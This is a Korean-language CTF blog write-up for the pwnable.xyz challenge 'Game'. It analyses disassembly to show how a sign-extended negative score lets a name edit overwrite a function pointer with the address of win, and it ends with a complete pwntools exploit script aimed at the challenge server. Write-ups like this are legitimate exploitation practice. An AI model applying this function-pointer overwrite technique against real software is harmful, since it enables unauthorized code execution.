본문으로 바로가기

pwnable.xyz / Game

category Wargame/pwnable.xyz 2020. 1. 13. 21:57

대강 봐도 함수 포인터 조작하는 문제라는 것을 눈치챌 수 있다.

바이너리에서는 아래와 같은 0x20 크기의 구조체를 사용한다.

 

 

cur 의 타입은 struct Game *, saves 의 타입은 struct Game * [5] 이다.

 

void __cdecl edit_name()
{
  size_t size// rax

  size = strlen(cur->name);
  read(0cursize);
}

 

먼저 주목할 곳은 edit_game 함수이다.

만약 cur->name 에 16바이트가 전부 써져 있으면 cur->points 값을 일부 변조할 수 있고, 마찬가지로 cur->points 의 8바이트가 모두 0이 아니라면 cur->play_func 의 값을 조작해서 실행 흐름을 변경할 수 있다.

 

.text:0000000000400EEF                 mov     eax, [rbp+i]
.text:0000000000400EF2                 cdqe
.text:0000000000400EF4                 lea     rdx, ds:0[rax*8]
.text:0000000000400EFC                 lea     rax, saves
.text:0000000000400F03                 mov     rax, [rdx+rax]
.text:0000000000400F07                 lea     rdx, [rax+10h]
.text:0000000000400F0B                 mov     rax, cs:cur
.text:0000000000400F12                 movzx   eax, word ptr [rax+10h]
.text:0000000000400F16                 movsx   rax, ax
.text:0000000000400F1A                 mov     [rdx], rax

 

다음으로 살펴봐야 할 부분은 save_game 함수에서 point 값을 옮기는 코드이다.

원래 해당 필드의 타입은 short 이기 때문에 일반적인 경우에서는 2바이트의 값만 바뀐다. 하지만 만약 point 가 음수일 경우 movsx 명령어로 인해 sign extension으로 뒷 부분의 바이트가 전부 0xFF으로 채워지게 된다.

 

따라서,

 

1. 처음 이름을 입력할 때 16바이트를 꽉 채워서 입력한다.

2. 잘못된 답을 입력해 cur->point 값을 -1로 만든다.

3. save_game 함수를 실행해서 saves[i]->point 에 0xFFFFFFFFFFFFFFFF 값을 쓴다.

4. edit_name 함수를 실행해서 cur->play_func 의 값을 &win 으로 바꾼다.

 

위 과정을 거쳐 플래그를 얻을 수 있다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
import argparse


def exploit() :
    p.writeafter(b'Name: 'b'A'*0x10)
    p.writelineafter(b'> 'b'1')
    p.writelineafter(b'= 'b'0')
    p.writelineafter(b'> 'b'2')

    payload = b'A'*0x18
    payload += p64(0x4009D6)[:3]   # win

    p.writelineafter(b'> 'b'3')
    p.write(payload)
    p.writelineafter(b'> 'b'1')

    p.interactive()


if __name__ == '__main__' :
    parser = argparse.ArgumentParser()
    parser.add_argument('-r''--remote'action='store_true'help='connect to remote server')
    args = parser.parse_args()

    if args.remote :
        p = remote('svc.pwnable.xyz'30009)
    else :
        p = process('./challenge')

    exploit()

 

 

 

Last update: 2/5/2021

'Wargame > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / SUS  (0) 2020.01.14
pwnable.xyz / fspoo  (0) 2020.01.14
pwnable.xyz / l33t-ness  (0) 2020.01.13
pwnable.xyz / Jmp table  (0) 2020.01.13
pwnable.xyz / TLSv00  (0) 2020.01.13